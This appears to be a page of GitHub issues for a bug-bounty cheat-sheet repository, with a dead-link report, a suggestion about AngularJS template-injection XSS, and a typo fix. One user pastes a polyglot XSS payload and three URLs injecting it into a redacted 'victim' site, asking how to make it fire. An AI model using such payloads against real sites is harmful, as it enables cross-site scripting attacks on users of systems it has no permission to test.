edoverflow / bugbounty-cheatsheet Goto Github PK

this link is no more worked, their domain name is expired remove it from list http://www.evilsql.com/main/index.php

It would be nice to add AngularJS-related things from the end of the http://blog.portswigger.net/2016/01/xss-without-html-client-side-template.html article. I'm not sure, in which category we should put it (XSS, Template Injection, or make separate)

hello bro... i need help... i did look your document... i did find xss exploit in your documents..

jaVasCript:/-//*\/'/"/**/(/* */oNcliCk=alert("this is test") )//%0D%0A%0d%0a//</stYle/</titLe/</teXtarEa/</scRipt/--!>\x3csVg/<sVg/oNloAd=alert()//>\x3e

i am using chrome. i am write this exploit in chrome developer , i can see xss alert...

How do I run this url in the url without the chrome developer ??

victim url : https://www.xxx.xxx/xxx/some.js (How can I place xss exploit in this URL?)

I do it this way but xss doesn't give warning message :

https://www.xxx.xxx/xxx/some.js?jaVasCript:/*-/*`/*\`/*'/*"/**/(/* */oNcliCk=alert("this is test") )//%0D%0A%0d%0a//</stYle/</titLe/</teXtarEa/</scRipt/--!>\x3csVg/<sVg/oNloAd=alert()//>\x3e

https://www.xxx.xxx/xxx/some.js#jaVasCript:/*-/*`/*\`/*'/*"/**/(/* */oNcliCk=alert("this is test") )//%0D%0A%0d%0a//</stYle/</titLe/</teXtarEa/</scRipt/--!>\x3csVg/<sVg/oNloAd=alert()//>\x3e

https://www.xxx.xxx/xxx/some.js/jaVasCript:/*-/*`/*\`/*'/*"/**/(/* */oNcliCk=alert("this is test") )//%0D%0A%0d%0a//</stYle/</titLe/</teXtarEa/</scRipt/--!>\x3csVg/<sVg/oNloAd=alert()//>\x3e

please help me... this is very important for me

"Sepcial Tools" should read "Special Tools"